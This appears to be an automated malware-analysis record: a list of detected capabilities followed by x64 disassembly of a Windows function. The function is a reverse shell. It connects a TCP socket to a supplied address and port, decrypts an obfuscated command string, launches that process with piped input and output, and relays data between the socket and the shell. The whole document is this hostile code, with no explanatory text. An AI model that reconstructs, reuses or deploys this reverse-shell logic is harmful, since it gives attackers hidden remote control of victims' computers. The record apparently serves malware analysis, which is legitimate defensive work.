Function at 0x1400015d1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Create udp socket
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
sub rsp, 0x708
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6a0], rcx
mov dword [rbp + 0x6a8], edx
lea rax, [rbp + 0x4e0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x67c], eax
cmp dword [rbp + 0x67c], 0
jns 0x140001639
mov ecx, 1
call sym.exit
mov word [rbp + 0x4d0], 2
mov eax, dword [rbp + 0x6a8]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x4d2], ax
mov rcx, qword [rbp + 0x6a0]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x4d4], eax
mov eax, dword [rbp + 0x67c]
cdqe
lea rdx, [rbp + 0x4d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
shr eax, 0x1f
test al, al
je 0x1400016b9
mov eax, dword [rbp + 0x67c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 1
call sym.exit
mov dword [rbp + 0x490], 0x18
mov dword [rbp + 0x4a0], 1
mov qword [rbp + 0x498], 0
lea rcx, [rbp + 0x490]
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x4c8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
mov rax, qword [rbp + 0x4c0]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rcx, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x4b8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
mov rax, qword [rbp + 0x4b8]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rax, [rbp + 0x420]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x420], 0x68
mov dword [rbp + 0x45c], 0x100
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x480], rax
lea rax, [rbp + 0x3e0]
lea rdx, str.u_5._
mov rcx, rax
call sym.decrypt_string_abi:cxx11__char_const_
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp + 0x400]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x420]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp + 0x67c]
cdqe
lea rdx, [rbp - 0x20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x678], eax
cmp dword [rbp + 0x678], 0
jle 0x140001950
mov ecx, dword [rbp + 0x678]
mov rax, qword [rbp + 0x4c0]
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x4b8]
mov qword [rsp + 0x28], 0
lea rdx, [rbp - 0x24]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call rax
test eax, eax
je 0x1400018eb
mov eax, dword [rbp - 0x24]
test eax, eax
je 0x1400018eb
mov eax, 1
jmp 0x1400018f0
mov eax, 0
test al, al
je 0x14000183c
mov rax, qword [rbp + 0x4b8]
lea rcx, [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp - 0x24]
mov ecx, eax
mov eax, dword [rbp + 0x67c]
cdqe
lea rdx, [rbp - 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x14000183c
nop
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x400]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, dword [rbp + 0x67c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001a01
add rsp, 0x708
pop rbx
pop rbp
ret